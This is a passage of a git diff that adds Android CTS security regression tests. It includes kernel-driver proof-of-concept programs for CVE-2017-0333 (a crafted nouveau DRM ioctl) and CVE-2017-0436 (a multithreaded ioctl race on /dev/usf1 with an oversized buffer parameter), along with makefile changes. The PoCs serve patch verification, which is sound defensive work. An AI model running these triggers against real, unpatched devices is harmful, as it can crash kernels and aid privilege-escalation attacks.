+ _IOWR(USF_IOCTL_MAGIC, 13, struct us_stream_param_type)
+
+int fd;
+pthread_t thread_id[THREAD_NUM + 1] = {0};
+int thread_ret[THREAD_NUM] = {0};
+
+static struct us_stream_param_type s_stream_param;
+
+// TX configuration
+static struct us_tx_info_type s_tx_info;
+
+// RX configuration
+static struct us_rx_info_type s_rx_info;
+
+// Valid TX configurations
+static void set_valid_tx_configuration(void);
+
+// Valid RX configurations
+static void set_valid_rx_configuration(void);
+
+// Valid configurations implementations
+static void set_valid_tx_configuration() {
+ const unsigned short FrameHdrSizeBytes = 12;
+
+ typedef struct {
+ unsigned short skipFactor;
+ unsigned short groupFactor;
+ unsigned int frameSize;
+ } TransparentDataTxType;
+ static TransparentDataTxType transparentTxData;
+ transparentTxData.skipFactor = 1;
+ transparentTxData.groupFactor = 2;
+ transparentTxData.frameSize = PortSamplesDataSize;
+
+ s_tx_info.us_xx_info.client_name = "tester";
+ s_tx_info.us_xx_info.dev_id = 0;
+ s_tx_info.us_xx_info.stream_format = USF_RAW_FORMAT;
+ s_tx_info.us_xx_info.sample_rate = 96000;
+ s_tx_info.us_xx_info.buf_num = 8;
+ s_tx_info.us_xx_info.port_cnt = 3;
+ s_tx_info.us_xx_info.port_id[0] = 1;
+ s_tx_info.us_xx_info.port_id[1] = 2;
+ s_tx_info.us_xx_info.port_id[2] = 5;
+ s_tx_info.us_xx_info.bits_per_sample = 16;
+
+ s_tx_info.us_xx_info.params_data_size = sizeof(TransparentDataTxType);
+ s_tx_info.us_xx_info.params_data = (unsigned char *)&transparentTxData;
+
+ unsigned short frame_size = PortSamplesDataSize *
+ (s_tx_info.us_xx_info.bits_per_sample / 8) *
+ s_tx_info.us_xx_info.port_cnt +
+ FrameHdrSizeBytes;
+ s_tx_info.us_xx_info.buf_size = frame_size * transparentTxData.groupFactor;
+
+ s_tx_info.input_info.event_types = USF_ALL_EVENTS;
+ s_tx_info.input_info.tsc_x_dim[0] = 0;
+ s_tx_info.input_info.tsc_x_dim[1] = 480;
+ s_tx_info.input_info.tsc_y_dim[0] = 0;
+ s_tx_info.input_info.tsc_y_dim[1] = 800;
+
+ s_tx_info.input_info.tsc_pressure[0] = 0;
+ s_tx_info.input_info.tsc_pressure[1] = 1;
+
+ // for fail
+ s_tx_info.us_xx_info.max_get_set_param_buf_size = (uint32_t) 100000000000000;
+} // set_valid_tx_configuration
+
+static void set_valid_rx_configuration() {
+ typedef struct {
+ unsigned short frameSize;
+ unsigned short groupFactor;
+ } TransparentDataRxType;
+ static TransparentDataRxType transparentRxData;
+ unsigned short frame_size = 0;
+
+ transparentRxData.frameSize = PortSamplesDataSize;
+ transparentRxData.groupFactor = 1;
+
+ s_rx_info.us_xx_info.client_name = "tester";
+ s_rx_info.us_xx_info.dev_id = 0;
+ s_rx_info.us_xx_info.stream_format = USF_RAW_FORMAT;
+ s_rx_info.us_xx_info.sample_rate = 96000;
+ s_rx_info.us_xx_info.buf_num = 3;
+ s_rx_info.us_xx_info.port_cnt = 1;
+ s_rx_info.us_xx_info.port_id[0] = 1;
+ s_rx_info.us_xx_info.bits_per_sample = 16;
+ s_rx_info.us_xx_info.params_data_size = sizeof(TransparentDataRxType);
+ s_rx_info.us_xx_info.params_data = (unsigned char *)&transparentRxData;
+
+ frame_size = PortSamplesDataSize *
+ (s_rx_info.us_xx_info.bits_per_sample / 8) *
+ s_rx_info.us_xx_info.port_cnt;
+ // group size
+ s_rx_info.us_xx_info.buf_size = frame_size * transparentRxData.groupFactor;
+
+ // for fail
+ s_rx_info.us_xx_info.max_get_set_param_buf_size = (uint32_t) 100000000000000;
+} // set_valid_rx_configuration
+
+static int set_affinity(int num) {
+ int ret = 0;
+ cpu_set_t mask;
+ CPU_ZERO(&mask);
+ CPU_SET(num, &mask);
+ ret = sched_setaffinity(0, sizeof(cpu_set_t), &mask);
+ if (ret == -1) {
+ printf("[-] set affinity failed: [%d]-%s\n", errno, strerror(errno));
+ }
+ return ret;
+}
+
+void *child_ioctl_0(void *no_use) {
+ int ret = 1;
+ set_affinity(1);
+
+ while (1) {
+ ret = ioctl(fd, US_SET_RX_INFO, &s_tx_info);
+ }
+}
+
+int main() {
+ int i, ret;
+
+ s_stream_param.module_id = 10;
+ s_stream_param.param_id = 11;
+ s_stream_param.buf_size = 0x100;
+ /* bind_cpu */
+ set_affinity(0);
+
+ set_valid_tx_configuration();
+ set_valid_rx_configuration();
+
+ /* open dev */
+ fd = open(DEV, O_RDONLY);
+ if (fd == -1) {
+ return 0;
+ }
+
+ /* create thread */
+ for (i = 0; i < THREAD_NUM; i = i + 1) {
+ thread_ret[i] = pthread_create(thread_id + i, NULL, child_ioctl_0, NULL);
+ }
+
+ sleep(3);
+
+ while (1) {
+ ret = ioctl(fd, US_GET_RX_STREAM_PARAM, &s_stream_param);
+ usleep(100);
+ }
+}
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8482/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8482/Android.mk
index b41fb16..8762bd3 100644
--- a/hostsidetests/security/securityPatch/CVE-2016-8482/Android.mk
+++ b/hostsidetests/security/securityPatch/CVE-2016-8482/Android.mk
@@ -22,14 +22,10 @@
LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_CTS_TEST_PACKAGE := android.security.cts
LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
+LOCAL_CFLAGS := -Wno-unused-parameter
LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-9120/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-9120/Android.mk
index 95ddb3d..f380045 100644
--- a/hostsidetests/security/securityPatch/CVE-2016-9120/Android.mk
+++ b/hostsidetests/security/securityPatch/CVE-2016-9120/Android.mk
@@ -22,14 +22,10 @@
LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_CTS_TEST_PACKAGE := android.security.cts
LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
+LOCAL_CFLAGS := -Wno-unused-parameter
LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0333/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0333/Android.mk
new file mode 100644
index 0000000..5e19036
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0333/Android.mk
@@ -0,0 +1,37 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License
+
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2017-0333
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS += -Wall -Werror -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+LOCAL_CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+LOCAL_CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+LOCAL_CFLAGS += -Wno-unused-parameter -Wno-unused-variable -Wno-macro-redefined
+LOCAL_CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LOCAL_LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0333/local_poc.h b/hostsidetests/security/securityPatch/CVE-2017-0333/local_poc.h
new file mode 100644
index 0000000..1622b39
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0333/local_poc.h
@@ -0,0 +1,269 @@
+#ifndef __LOCAL_POC_H__
+#define __LOCAL_POC_H__
+
+#define DRM_IOCTL_BASE 'd'
+#define DRM_IOW(nr, type) _IOW(DRM_IOCTL_BASE, nr, type)
+#define DRM_IOWR(nr, type) _IOWR(DRM_IOCTL_BASE, nr, type)
+
+#define DRM_COMMAND_BASE 0x40
+#define DRM_NOUVEAU_EVENT_NVIF 0x80000000
+
+/* reserved object handles when using deprecated object APIs - these
+ * are here so that libdrm can allow interoperability with the new
+ * object APIs
+ */
+#define NOUVEAU_ABI16_CLIENT 0xffffffff
+#define NOUVEAU_ABI16_DEVICE 0xdddddddd
+#define NOUVEAU_ABI16_CHAN(n) (0xcccc0000 | (n))
+
+#define NOUVEAU_GEM_DOMAIN_CPU (1 << 0)
+#define NOUVEAU_GEM_DOMAIN_VRAM (1 << 1)
+#define NOUVEAU_GEM_DOMAIN_GART (1 << 2)
+#define NOUVEAU_GEM_DOMAIN_MAPPABLE (1 << 3)
+#define NOUVEAU_GEM_DOMAIN_COHERENT (1 << 4)
+
+#define NOUVEAU_GEM_TILE_COMP 0x00030000 /* nv50-only */
+#define NOUVEAU_GEM_TILE_LAYOUT_MASK 0x0000ff00
+#define NOUVEAU_GEM_TILE_16BPP 0x00000001
+#define NOUVEAU_GEM_TILE_32BPP 0x00000002
+#define NOUVEAU_GEM_TILE_ZETA 0x00000004
+#define NOUVEAU_GEM_TILE_NONCONTIG 0x00000008
+
+struct drm_nouveau_gem_info {
+ uint32_t handle;
+ uint32_t domain;
+ uint64_t size;
+ uint64_t offset;
+ uint64_t map_handle;
+ uint32_t tile_mode;
+ uint32_t tile_flags;
+};
+
+struct drm_nouveau_gem_new {
+ struct drm_nouveau_gem_info info;
+ uint32_t channel_hint;
+ uint32_t align;
+};
+
+struct drm_nouveau_gem_set_tiling {
+ uint32_t handle;
+ uint32_t tile_mode;
+ uint32_t tile_flags;
+};
+
+#define NOUVEAU_GEM_MAX_BUFFERS 1024
+struct drm_nouveau_gem_pushbuf_bo_presumed {
+ uint32_t valid;
+ uint32_t domain;
+ uint64_t offset;
+};
+
+struct drm_nouveau_gem_pushbuf_bo {
+ uint64_t user_priv;
+ uint32_t handle;
+ uint32_t read_domains;
+ uint32_t write_domains;
+ uint32_t valid_domains;
+ struct drm_nouveau_gem_pushbuf_bo_presumed presumed;
+};
+
+#define NOUVEAU_GEM_RELOC_LOW (1 << 0)
+#define NOUVEAU_GEM_RELOC_HIGH (1 << 1)
+#define NOUVEAU_GEM_RELOC_OR (1 << 2)
+#define NOUVEAU_GEM_MAX_RELOCS 1024
+struct drm_nouveau_gem_pushbuf_reloc {
+ uint32_t reloc_bo_index;
+ uint32_t reloc_bo_offset;
+ uint32_t bo_index;
+ uint32_t flags;
+ uint32_t data;
+ uint32_t vor;
+ uint32_t tor;
+};
+
+#define NOUVEAU_GEM_MAX_PUSH 512
+struct drm_nouveau_gem_pushbuf_push {
+ uint32_t bo_index;
+ uint32_t pad;
+ uint64_t offset;
+ uint64_t length;
+};
+
+struct drm_nouveau_gem_pushbuf {
+ uint32_t channel;
+ uint32_t nr_buffers;
+ uint64_t buffers;
+ uint32_t nr_relocs;
+ uint32_t nr_push;
+ uint64_t relocs;
+ uint64_t push;
+ uint32_t suffix0;
+ uint32_t suffix1;
+ uint64_t vram_available;
+ uint64_t gart_available;
+};
+
+#define NOUVEAU_GEM_PUSHBUF_2_FENCE_WAIT 0x00000001
+#define NOUVEAU_GEM_PUSHBUF_2_FENCE_EMIT 0x00000002
+struct drm_nouveau_gem_pushbuf_2 {
+ uint32_t channel;
+ uint32_t flags;
+ uint32_t nr_push;
+ uint32_t nr_buffers;
+ int32_t fence; /* in/out, depends on flags */
+ uint32_t pad;
+ uint64_t push; /* in raw hw format */
+ uint64_t buffers; /* ptr to drm_nouveau_gem_pushbuf_bo */
+ uint64_t vram_available;
+ uint64_t gart_available;
+};
+
+#define NOUVEAU_GEM_CPU_PREP_NOWAIT 0x00000001
+#define NOUVEAU_GEM_CPU_PREP_WRITE 0x00000004
+struct drm_nouveau_gem_cpu_prep {
+ uint32_t handle;
+ uint32_t flags;
+};
+
+struct drm_nouveau_gem_cpu_fini {
+ uint32_t handle;
+};
+
+struct drm_nouveau_gem_as_alloc {
+ uint64_t pages; /* in, page length */
+ uint32_t page_size; /* in, byte page size */
+#define NOUVEAU_GEM_AS_SPARSE 0x1
+ uint32_t flags;
+ uint64_t align; /* in, requested alignment in bytes */
+ uint64_t address; /* in/out, non-zero for fixed address allocation */
+};
+
+struct drm_nouveau_gem_as_free {
+ uint64_t address; /* in, byte address */
+};
+
+#define NOUVEAU_GEM_CHANNEL_FIFO_ERROR_IDLE_TIMEOUT 8
+#define NOUVEAU_GEM_CHANNEL_GR_ERROR_SW_NOTIFY 13
+#define NOUVEAU_GEM_CHANNEL_FIFO_ERROR_MMU_ERR_FLT 31
+#define NOUVEAU_GEM_CHANNEL_PBDMA_ERROR 32
+struct drm_nouveau_gem_set_error_notifier {
+ uint32_t channel;
+ uint32_t buffer;
+ uint32_t offset; /* bytes, u32-aligned */
+};
+
+struct drm_nouveau_gem_map {
+ uint32_t handle;
+ uint32_t domain;
+ uint64_t offset;
+ uint64_t delta;
+ uint64_t length;
+ uint32_t tile_mode;
+ uint32_t tile_flags;
+};
+
+struct drm_nouveau_gem_unmap {
+ uint32_t handle;
+ uint32_t pad;
+ uint64_t offset;
+ uint64_t delta;
+ uint64_t length;
+};
+
+struct nvif_ioctl_v0 {
+ __u8 version;
+#define NVIF_IOCTL_V0_OWNER_NVIF 0x00
+#define NVIF_IOCTL_V0_OWNER_ANY 0xff
+ __u8 owner;
+#define NVIF_IOCTL_V0_NOP 0x00
+#define NVIF_IOCTL_V0_SCLASS 0x01
+#define NVIF_IOCTL_V0_NEW 0x02
+#define NVIF_IOCTL_V0_DEL 0x03
+#define NVIF_IOCTL_V0_MTHD 0x04
+#define NVIF_IOCTL_V0_RD 0x05
+#define NVIF_IOCTL_V0_WR 0x06
+#define NVIF_IOCTL_V0_MAP 0x07
+#define NVIF_IOCTL_V0_UNMAP 0x08
+#define NVIF_IOCTL_V0_NTFY_NEW 0x09
+#define NVIF_IOCTL_V0_NTFY_DEL 0x0a
+#define NVIF_IOCTL_V0_NTFY_GET 0x0b
+#define NVIF_IOCTL_V0_NTFY_PUT 0x0c
+ __u8 type;
+ __u8 path_nr;
+#define NVIF_IOCTL_V0_ROUTE_NVIF 0x00
+#define NVIF_IOCTL_V0_ROUTE_HIDDEN 0xff
+ __u8 pad04[3];
+ __u8 route;
+ __u64 token;
+ __u32 path[8]; /* in reverse */
+ __u8 data[]; /* ioctl data (below) */
+};
+
+#define DRM_NOUVEAU_GETPARAM 0x00 /* deprecated */
+#define DRM_NOUVEAU_SETPARAM 0x01 /* deprecated */
+#define DRM_NOUVEAU_CHANNEL_ALLOC 0x02 /* deprecated */
+#define DRM_NOUVEAU_CHANNEL_FREE 0x03 /* deprecated */
+#define DRM_NOUVEAU_GROBJ_ALLOC 0x04 /* deprecated */
+#define DRM_NOUVEAU_NOTIFIEROBJ_ALLOC 0x05 /* deprecated */
+#define DRM_NOUVEAU_GPUOBJ_FREE 0x06 /* deprecated */
+#define DRM_NOUVEAU_NVIF 0x07
+#define DRM_NOUVEAU_GEM_NEW 0x40
+#define DRM_NOUVEAU_GEM_PUSHBUF 0x41
+#define DRM_NOUVEAU_GEM_CPU_PREP 0x42
+#define DRM_NOUVEAU_GEM_CPU_FINI 0x43
+#define DRM_NOUVEAU_GEM_INFO 0x44
+/*
+ * range (0x50+DRM_COMMAND_BASE)..DRM_COMMAND_END is reserved for staging,
+ * unstable ioctls
+ */
+#define DRM_NOUVEAU_STAGING_IOCTL 0x50
+#define DRM_NOUVEAU_GEM_SET_TILING (DRM_NOUVEAU_STAGING_IOCTL + 0x0)
+#define DRM_NOUVEAU_GEM_PUSHBUF_2 (DRM_NOUVEAU_STAGING_IOCTL + 0x1)
+#define DRM_NOUVEAU_GEM_SET_INFO (DRM_NOUVEAU_STAGING_IOCTL + 0x2)
+#define DRM_NOUVEAU_GEM_AS_ALLOC (DRM_NOUVEAU_STAGING_IOCTL + 0x3)
+#define DRM_NOUVEAU_GEM_AS_FREE (DRM_NOUVEAU_STAGING_IOCTL + 0x4)
+#define DRM_NOUVEAU_GEM_SET_ERROR_NOTIFIER (DRM_NOUVEAU_STAGING_IOCTL + 0x5)
+#define DRM_NOUVEAU_GEM_MAP (DRM_NOUVEAU_STAGING_IOCTL + 0x6)
+#define DRM_NOUVEAU_GEM_UNMAP (DRM_NOUVEAU_STAGING_IOCTL + 0x7)
+
+#define DRM_IOCTL_NOUVEAU_GEM_NEW \
+ DRM_IOWR(DRM_COMMAND_BASE + DRM_NOUVEAU_GEM_NEW, struct drm_nouveau_gem_new)
+#define DRM_IOCTL_NOUVEAU_GEM_PUSHBUF \
+ DRM_IOWR(DRM_COMMAND_BASE + DRM_NOUVEAU_GEM_PUSHBUF, \
+ struct drm_nouveau_gem_pushbuf)
+#define DRM_IOCTL_NOUVEAU_GEM_CPU_PREP \
+ DRM_IOW(DRM_COMMAND_BASE + DRM_NOUVEAU_GEM_CPU_PREP, \
+ struct drm_nouveau_gem_cpu_prep)
+#define DRM_IOCTL_NOUVEAU_GEM_CPU_FINI \
+ DRM_IOW(DRM_COMMAND_BASE + DRM_NOUVEAU_GEM_CPU_FINI, \
+ struct drm_nouveau_gem_cpu_fini)
+#define DRM_IOCTL_NOUVEAU_GEM_INFO \
+ DRM_IOWR(DRM_COMMAND_BASE + DRM_NOUVEAU_GEM_INFO, struct drm_nouveau_gem_info)
+#define DRM_IOCTL_NOUVEAU_GEM_SET_TILING \
+ DRM_IOWR(DRM_COMMAND_BASE + DRM_NOUVEAU_GEM_SET_TILING, \
+ struct drm_nouveau_gem_set_tiling)
+#define DRM_IOCTL_NOUVEAU_GEM_PUSHBUF_2 \
+ DRM_IOWR(DRM_COMMAND_BASE + DRM_NOUVEAU_GEM_PUSHBUF_2, \
+ struct drm_nouveau_gem_pushbuf_2)
+#define DRM_IOCTL_NOUVEAU_GEM_SET_INFO \
+ DRM_IOWR(DRM_COMMAND_BASE + DRM_NOUVEAU_GEM_SET_INFO, \
+ struct drm_nouveau_gem_info)
+#define DRM_IOCTL_NOUVEAU_GEM_AS_ALLOC \
+ DRM_IOWR(DRM_COMMAND_BASE + DRM_NOUVEAU_GEM_AS_ALLOC, \
+ struct drm_nouveau_gem_as_alloc)
+#define DRM_IOCTL_NOUVEAU_GEM_AS_FREE \
+ DRM_IOWR(DRM_COMMAND_BASE + DRM_NOUVEAU_GEM_AS_FREE, \
+ struct drm_nouveau_gem_as_free)
+#define DRM_IOCTL_NOUVEAU_GEM_SET_ERROR_NOTIFIER \
+ DRM_IOWR(DRM_COMMAND_BASE + DRM_NOUVEAU_GEM_SET_ERROR_NOTIFIER, \
+ struct drm_nouveau_gem_set_error_notifier)
+#define DRM_IOCTL_NOUVEAU_GEM_MAP \
+ DRM_IOWR(DRM_COMMAND_BASE + DRM_NOUVEAU_GEM_MAP, struct drm_nouveau_gem_map)
+#define DRM_IOCTL_NOUVEAU_GEM_UNMAP \
+ DRM_IOWR(DRM_COMMAND_BASE + DRM_NOUVEAU_GEM_UNMAP, \
+ struct drm_nouveau_gem_unmap)
+
+#define DRM_IOCTL_NOUVEAU_NVIF \
+ DRM_IOWR(DRM_COMMAND_BASE + DRM_NOUVEAU_NVIF, struct nvif_ioctl_v0)
+
+#endif
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0333/poc.c b/hostsidetests/security/securityPatch/CVE-2017-0333/poc.c
new file mode 100644
index 0000000..d222a72
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0333/poc.c
@@ -0,0 +1,56 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#define _GNU_SOURCE
+#include <errno.h>
+#include <fcntl.h>
+#include <pthread.h>
+#include <sched.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <sys/ioctl.h>
+#include <sys/stat.h>
+#include <sys/syscall.h>
+#include <sys/types.h>
+#include <unistd.h>
+
+#include "local_poc.h"
+
+#define DEV "/dev/dri/renderD128"
+
+int dev_fd;
+
+enum nouveau_drm_object_route {
+ NVDRM_OBJECT_NVIF = 0,
+ NVDRM_OBJECT_USIF,
+ NVDRM_OBJECT_ABI16,
+};
+
+struct nvif_ioctl_v0 s_nvif;
+
+int main() {
+ int ret;
+
+ dev_fd = open(DEV, O_RDONLY);
+
+ if (dev_fd == -1) {
+ return 0;
+ }
+
+ s_nvif.type = 0x3;
+
+ ret = ioctl(dev_fd, DRM_IOCTL_NOUVEAU_NVIF, &s_nvif);
+}
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0403/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0403/Android.mk
index cb31e4d..df21f39 100644
--- a/hostsidetests/security/securityPatch/CVE-2017-0403/Android.mk
+++ b/hostsidetests/security/securityPatch/CVE-2017-0403/Android.mk
@@ -22,14 +22,10 @@
LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_CTS_TEST_PACKAGE := android.security.cts
LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
+LOCAL_CFLAGS := -Wno-unused-parameter
LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0404/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0404/Android.mk
index 9e30d30..c84040c 100644
--- a/hostsidetests/security/securityPatch/CVE-2017-0404/Android.mk
+++ b/hostsidetests/security/securityPatch/CVE-2017-0404/Android.mk
@@ -22,14 +22,10 @@
LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_CTS_TEST_PACKAGE := android.security.cts
LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
+LOCAL_CFLAGS := -Wno-unused-parameter
LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0429/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0429/Android.mk
index afb77b4..8c74e4c 100644
--- a/hostsidetests/security/securityPatch/CVE-2017-0429/Android.mk
+++ b/hostsidetests/security/securityPatch/CVE-2017-0429/Android.mk
@@ -22,14 +22,9 @@
LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_CTS_TEST_PACKAGE := android.security.cts
LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0436/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0436/Android.mk
new file mode 100644
index 0000000..68bfd79
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0436/Android.mk
@@ -0,0 +1,37 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License
+
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2017-0436
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS += -Wall -Werror -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+LOCAL_CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+LOCAL_CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+LOCAL_CFLAGS += -Wno-unused-parameter -Wno-unused-variable -Wno-macro-redefined
+LOCAL_CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LOCAL_LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0436/poc.c b/hostsidetests/security/securityPatch/CVE-2017-0436/poc.c
new file mode 100644
index 0000000..192a06e
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0436/poc.c
@@ -0,0 +1,282 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+#include <errno.h>
+#include <fcntl.h>
+#include <pthread.h>
+#include <sched.h>
+#include <signal.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/ioctl.h>
+#include <sys/stat.h>
+#include <sys/types.h>
+#include <unistd.h>
+
+#define THREAD_NUM 300
+#define DEV "/dev/usf1"
+
+/* min, max array dimension */
+#define MIN_MAX_DIM 2
+
+#define USF_MAX_PORT_NUM 8
+
+static const unsigned short PortSamplesDataSize = 768;
+
+/* Encoder (TX), decoder (RX) supported US data formats */
+#define USF_POINT_EPOS_FORMAT 0
+#define USF_RAW_FORMAT 1
+
+/* Indexes of event types, produced by the calculators */
+#define USF_TSC_EVENT_IND 0
+#define USF_TSC_PTR_EVENT_IND 1
+#define USF_MOUSE_EVENT_IND 2
